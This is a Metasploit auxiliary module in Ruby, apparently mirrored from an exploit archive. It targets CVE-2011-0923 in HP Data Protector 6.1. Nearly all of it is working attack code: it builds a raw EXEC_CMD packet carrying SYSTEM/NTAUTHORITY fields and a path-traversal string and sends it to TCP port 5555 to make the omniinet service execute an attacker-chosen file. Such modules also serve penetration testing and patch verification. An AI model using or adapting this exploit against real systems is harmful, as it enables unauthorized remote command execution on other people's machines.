## https://sploitus.com/exploit?id=PACKETSTORM:180904
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector 6.1 EXEC_CMD Command Execution',
'Description' => %q{
This module exploits HP Data Protector's omniinet process, specifically
against a Windows setup.
When an EXEC_CMD packet is sent, omniinet.exe will attempt to look
for that user-supplied filename with kernel32!FindFirstFileW(). If the file
is found, the process will then go ahead execute it with CreateProcess()
under a new thread. If the filename isn't found, FindFirstFileW() will throw
an error (0x03), and then bails early without triggering CreateProcess().
Because of these behaviors, if you try to supply an argument, FindFirstFileW()
will look at that as part of the filename, and then bail.
Please note that when you specify the 'CMD' option, the base path begins
under C:\.
},
'References' =>
[
[ 'CVE', '2011-0923' ],
[ 'OSVDB', '72526' ],
[ 'ZDI', '11-055' ],
[ 'URL', 'https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/' ]
],
'Author' =>
[
'ch0ks', # poc
'c4an', # msf poc (linux)
'wireghoul', # Improved msf (linux)
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2011-02-07'
))
register_options(
[
Opt::RPORT(5555),
OptString.new("CMD", [true, 'File to execute', 'Windows\System32\calc.exe'])
])
end
def run
cmd = datastore['CMD']
cmd << "\x00"*25
cmd << "\n"
user = Rex::Text.rand_text_alpha(4)
packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
packet << user*2
packet << "\x00\x20\x30\x00\x20"
packet << "SYSTEM"
packet << "\x00\x20\x63\x34\x61\x6e"
packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
packet << user
packet << "\x20\x20\x20\x20\x00\x20"
packet << "\x50\x6f\x63"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
packet << "../../../../../../../../../../"
packet << cmd
begin
print_status("#{rhost}:#{rport} - Sending command...")
connect
sock.put(packet)
res = sock.get_once
print_status(res.to_s) if res and not res.empty?
rescue
print_error("#{rhost}:#{rport} - Unable to connect")
ensure
disconnect
end
end
end